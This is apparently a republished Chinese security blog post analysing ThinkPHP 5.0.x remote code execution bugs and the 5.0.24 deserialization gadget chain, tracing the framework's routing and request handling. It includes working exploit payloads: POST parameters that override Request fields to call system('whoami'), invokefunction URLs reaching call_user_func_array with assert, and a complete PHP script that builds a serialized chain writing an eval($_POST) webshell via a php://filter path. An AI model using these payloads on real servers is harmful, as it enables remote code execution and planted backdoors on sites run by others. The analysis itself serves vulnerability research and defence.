TP5.0.xRCE&5.0.24反序列化分析


環境部署

以TP5.0.22為例 + PHP 5.6.27-NTS + phpstorm2020.1

反序列化環境為:TP5.0.24 + PHP 5.6.27-NTS + phpstorm2020.1

目錄架構

根據類的命名空間可以快速定位文件位置,在ThinkPHP5.0的規范里面,命名空間其實對應了文件的所在目錄,app命名空間通常代表了文件的起始目錄為application,而think命名空間則代表了文件的其實目錄為thinkphp/library/think,后面的命名空間則表示從起始目錄開始的子目錄,如下圖所示:

框架流程

我們先進入到默認的入口文件(public/index.php)

// 定義應用目錄
define('APP_PATH', __DIR__ . '/../application/'); // 加載框架引導文件 require __DIR__ . '/../thinkphp/start.php'; 

引入start.php進入到里面看看有什么

框架引導文件(thinkphp/start.php)

進入框架引導文件看到兩行代碼

// ThinkPHP 引導文件
// 1. 加載基礎文件 require __DIR__ . '/base.php'; // 2. 執行應用 App::run()->send(); 

基礎文件(thinkphp/base.php)

在此文件首先看到全面大段的是定義常量或者是檢查常量是否存在,主要是以下幾點需要重點注意

  • 將Loader類引入
  • 注冊自動加載機制
    • 注冊系統自動加載,spl_autoload_register將函數注冊到SPL __autoload函數隊列中。如果該隊列中的函數尚未激活,則激活它們。此函數可以注冊任意數量的自動加載器,當使用尚未被定義的類(class)和接口(interface)時自動去加載。通過注冊自動加載器,腳本引擎在 PHP 出錯失敗前有了最后一個機會加載所需的類。
    • Composer 自動加載支持
    • 注冊命名空間定義:think=>thinkphp/library/think,behavior=>thinkphp/library/behavior,traits=>thinkphp/library/traits
    • 加載類庫映射文件
    • 自動加載 extend 目錄
  • 注冊異常處理機制
  • 加載慣例配置

執行應用(thinkphp/library/think/App.php)

首先返回一個request實例,將應用初始化返回配置信息。
之后進行如下的操作:

  • 查看是否存在模塊控制器綁定
  • 對於request的實例根據設置的過濾規則進行過濾
  • 加載語言包
  • 監聽app_dispatch
  • 進行URL路由檢測(routecheck后面細講)
  • 記錄當前調度信息,路由以及請求信息到日志中
  • 請求緩存檢查並進行$data = self::exec($dispatch, $config);,根據$dispatch進行不同的調度,返回$data
  • 清除類的實例化
  • 輸出數據到客戶端,$response = $data;,返回一個Response類實例
  • 調用 Response->send() 方法將數據返回值客戶端

總結

畫個圖過一遍整個流程

根據PATH_INFO進行URL路由檢測(App::routeCheck)

通過$path = $request->path()可以獲得到請求的path_info,$depr是定義的分隔符,默認時:/,之后進行路由檢測步驟如下

  • 查看是否存在路由緩存,存在就包含
  • 讀取應用所在的路由文件,一般默認為route.php
  • 導入路由配置
  • Route::check (根據路由定義返回不同的URL調度)

    • 檢查解析緩存
    • 替換分隔符,將"/"換成了"|"
    • 獲取當前請求類型的路由規則,由於在之前的Composer 自動加載支持,在vendortopthink/think-captcha/src/helper.php中注冊了路由,所以在$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];中的Route::$rules['get']已經存在了相應的路由規則

    • 檢測域名部署

    • 檢測URL綁定
    • 靜態路由規則檢查
    • 路由規則檢查self::checkRoute($request, $rules, $url, $depr)

      • 檢查參數有效性
      • 替換掉路由ext參數
      • 檢查分組路由
      • 檢查指定特殊路由,例如:__miss____atuo__
      • 檢查路由規則checkRule
        • 檢查完整規則定義
        • 檢查路由的參數分隔符
        • 檢查是否完整匹配路由
      • 最終未被匹配路由的進入到self::parseRule('', $miss['route'], $url, $miss['option'])進行處理,這就牽涉到TP對於路由的多種定義
    • 檢查是否強制使用路由$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']

    • 路由無效,將自動解析模塊的URL地址會進入到Route::parseUrl($path, $depr, $config['controller_auto_search'])
  • 最終將結果記錄到調度信息

總結

首先看看路由定義:

定義方式 定義格式
方式1:路由到模塊/控制器 (模塊/控制器/操作)?額外參數1=值1&額外參數2=值2...  
方式2:路由到重定向地址 '外部地址'(默認301重定向) 或者 ('外部地址','重定向代碼')
方式3:路由到控制器的方法 '@(模塊/控制器/)操作'
方式4:路由到類的方法 '\完整的命名空間類::靜態方法' 或者 '\完整的命名空間類@動態方法'
方式5:路由到閉包函數 閉包函數定義(支持參數傳入)

具體鏈接可以看看這個開發手冊

在畫個圖過一遍整個路由流程

漏洞成因

現在TP的RCE通常將其分成兩類:

  • Request類其中變量被覆蓋導致RCE
  • 路由控制不嚴謹導致可以調用任意類致使RCE
  • 反序列化的應用(需要存在反序列化的地方)

Request類其中變量被覆蓋導致RCE

我們以這個POC為例,進行復現:

我們正常的代碼邏輯已經簡單的寫在了前文,如有代碼執行疑惑請在前文尋找答案。

下面我們進行漏洞跟蹤梳理

  • App:run()進行啟動,進行到URL路由檢測 self::routeCheck($request, $config)

    • $request->path() 獲取到我們自帶的兼容模式參數 s
    • 進入路由檢測Route::check($request, $path, $depr, $config['url_domain_deploy'])

      • 關鍵代碼$method = strtolower($request->method())進入$request->method()看到在查找$_POST中是否有表單請求類型偽裝變量(簡單解釋一下這個,就是form表單的method只能進行GET和POST請求,如果想進行別的請求例如put、delete可以使用這個偽裝變量來進入到相應的路由進行處理)
        • 一個PHP經典可變函數進行相關的調用$this->{$this->method}($_POST),根據POC我們就進入到了 __construct ,這個東西是PHP魔術方法,進入到里面之后就可以將原先的數據覆蓋成我們POST上去的數據,最后返回的是POST上去的method=get
    • 最終返回數據如下圖所示並且賦值給$dispatch

    • 進入關鍵代碼$data = self::exec($dispatch, $config)

      • 然后再次進入到回調方法中的Request::instance()->param(),繼續跟蹤到array_walk_recursive($data, [$this, 'filterValue'], $filter),這個函數解釋如下:

      • 重要代碼跟進,調用call_user_func($filter, $value)將其傳入的$filter=system,$value=sysyteminfo

      • 最后返回的需要進行一次過濾,不過大致查看能發現過濾字符基本為SQL注入的過濾,不是RCE的類型

      • 現在再次回到call_user_func($filter, $value)因為最終你傳入的是一個數組,第一個是需要執行的類型,后面是為null,因此會報錯。
  • 最終進入到\thinkphp\library\think\exception\Handle.php的174行,$data['echo'] = ob_get_clean(),獲取到前面未被賦值的命令執行的結果,從而隨着報錯頁面一起發送給客戶端從而達到回顯的目的。

POC版本測試

需要captcha的method路由,如果存在其他method路由,也是可以將captcha換為其他

5.0~5.0.23(本人只測了0和23的完整版,那么猜測中間的版本也是通殺沒有問題)
POST http://localhost/tp/public/index.php?s=captcha?s=captcha _method=__construct&filter[]=system&method=GET&get[]=whoami 5.1.x低版本也可行請自行調試尋找 

路由控制不嚴謹導致可以調用任意類致使RCE

我們以這個POC為例
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo())

正常代碼邏輯已經梳理,請自行查看前文。
下面進行漏洞邏輯梳理

  • 進入路由$dispatch = self::routeCheck($request, $config),最終進入Route::parseUrl($path, $depr, $config['controller_auto_search']),通過分隔符替換從而將我們輸入的pathinfo信息打散成數組: index|think\app|invokefunction,最終返回類似這樣的數據

  • 進入$data = self::exec($dispatch, $config); 將前面獲得的調度信息傳進去

    • 進入$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);
      • 一直跟蹤到往下看,這句代碼就是為什么我們要在pathinfo中首先要寫 index :elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module))。這樣能保證程序不報錯中斷並且使 $available=true
      • 分別將模塊、控制器、操作將其賦值為我們所輸入的 index think\app invokefunction
      • 進入Loader::controller進行控制類調用 Loader::getModuleAndClass 使得程序通過 invokeClass 返回我們所輸入的類的實例
      • 進入到App::invokeMethod,反射出我們所輸入的類的方法信息(ReflectionMethod),綁定我們輸入的參數,進入$reflect->invokeArgs(isset($class) ? $class : null, $args)那么就可以調用我們所想調用的函數,參數也相應傳入
  • 最后跟前面那個漏洞一樣,我們所執行的結果會隨着報錯輸出緩沖區一起顯示出來。

POC版本測試

因為linux和win的環境不一樣導致代碼邏輯判斷不一樣因此需要自行尋找

5.0.x(具體自行測試)
http://localhost/tp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() 5.1.x(具體自行測試,適合linux環境) http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 

TP5.0.24反序列化利用鏈

先看看PHP的魔術方法

梳理反序列化利用鏈漏洞首先需要一個漏洞觸發點,別問,問就是自己寫:

我們發現在 thinkphp/library/think/process/pipes/Windows.php 中發現__destruct中存在removeFiles函數,並且在其中存在$this->filesfile_exists,那么我們通過可控的$this->files利用file_exists可以調用一些類的__toString方法,之后查看此方法在抽象類Model(thinkphp/library/think/Model.php),抽象類不能直接調用,因此需要找他的子類。我們可以找到Pivot(thinkphp/library/think/model/Pivot.php)進行調用

然后從toJson()->toArray(),我們看到$item[$key] = $value ? $value->getAttr($attr) : null
其中 $value->getAttr是我們利用__call魔術方法 的點,我們來梳理代碼邏輯使之可以順利執行這句代碼。

  • $this->append可以控制,將其變成Model類的getError方法,然后跟進看到此方法存在$this->error,因此可以控制$this->$relation()

  • 進入到 getRelationData 進行一次判斷,首先需要進入的是Relation類型的對象,並且要符合這個關鍵判斷$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent) 才能讓$value變成我們想要的東西
    • 首先傳入的Relation對象是由$this->$relation()控制,我們可以找到HasOne(thinkphp/library/think/model/relation/HasOne.php)這個類是繼承抽象類OneToOne(thinkphp/library/think/model/relation/OnToOne.php),然后OneToOne又繼承自Relation,所以HasOne有着Relation的血脈才能進入getRelationData方法
    • $this->parent 是我們所要進入的__call魔術方法所在的類,這里我們選擇的是Output類(thinkphp/library/think/console/Output)
    • $modelRelation->isSelfRelation() 看到$this->selfRelation,我們可以控制。
    • get_class($modelRelation->getModel()) == get_class($this->parent)),我們需要將最后Query的$this->model寫成我們選擇的Output類
  • 最后$this->parent賦值給$value,執行代碼之后進入到Output類的__call方法

進入到__call,發現$this->styles我們可以控制那么就可以執行block方法,block調用writeln方法,writeln調用write方法,發現write方法中$this->handle->write($messages, $newline, $type)那么我們可以控制$this->handle,我們將其設置為Memcached類(thinkphp/library/think/session/driver/Mencached.php),然后進入到Memcached->write方法中看到Memcached也存在一個$this->handle,我們將其設置為File類(thinkphp/library/think/cache/driver/File.php)從而進入到File->set方法我們可以看到file_put_contents($filename, $data)其中的兩個參數我們都可以控制

  • 首先傳入的三個參數已經確定,其中$name,$expire我們可以控制,但是有用的就是$name
  • 發現寫入的數據就是我們無法控制的$value,無法利用。我們不慌繼續往下看,看到有一個$this->setTagItem($filename)我們看到此方法又調用一次set方法並且傳入set的三個值我們都可以控制

  • 再一次進入set方法, 通過php偽協議可以繞過exit()的限制 ,就可以將危害代碼寫在服務器上了。

EXP

從網上找來的EXP,改了改關鍵的幾個點,並且可以實現在Windows寫文件

<?php
namespace think\process\pipes { class Windows { private $files = []; public function __construct($files) { $this->files = [$files]; //$file => /think/Model的子類new Pivot(); Model是抽象類 } } } namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent; function __construct($output, $modelRelation) { $this->parent = $output; //$this->parent=> think\console\Output; $this->append = array("xxx"=>"getError"); //調用getError 返回this->error $this->error = $modelRelation; // $this->error 要為 relation類的子類,並且也是OnetoOne類的子類==>>HasOne } } } namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } } namespace think\model\relation{ class HasOne extends OneToOne { } } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; //$query指向Query $this->bindAttr = ['xxx'];// $value值,作為call函數引用的第二變量 } } } namespace think\db { class Query { protected $model; function __construct($model) { $this->model = $model; //$this->model=> think\console\Output; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; //$handle->think\session\driver\Memcached } } } namespace think\session\driver { class Memcached { protected $handler; function __construct($handle) { $this->handler = $handle; //$handle->think\cache\driver\File } } } namespace think\cache\driver { class File { protected $options=null; protected $tag; function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php', 'data_compress' => false, ]; $this->tag = 'xxx'; } } } namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); echo serialize($window); echo base64_encode(serialize($window)); } 

POC效果演示圖

參考鏈接

  1. https://xz.aliyun.com/search?keyword=thinkphp
  2. https://y4er.com/post/thinkphp5-rce/#method-__contruct%E5%AF%BC%E8%87%B4%E7%9A%84rce-%E5%90%84%E7%89%88%E6%9C%ACpayload
  3. https://www.kancloud.cn/zmwtp/tp5/119422
  4. https://www.anquanke.com/post/id/196364#h2-7


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM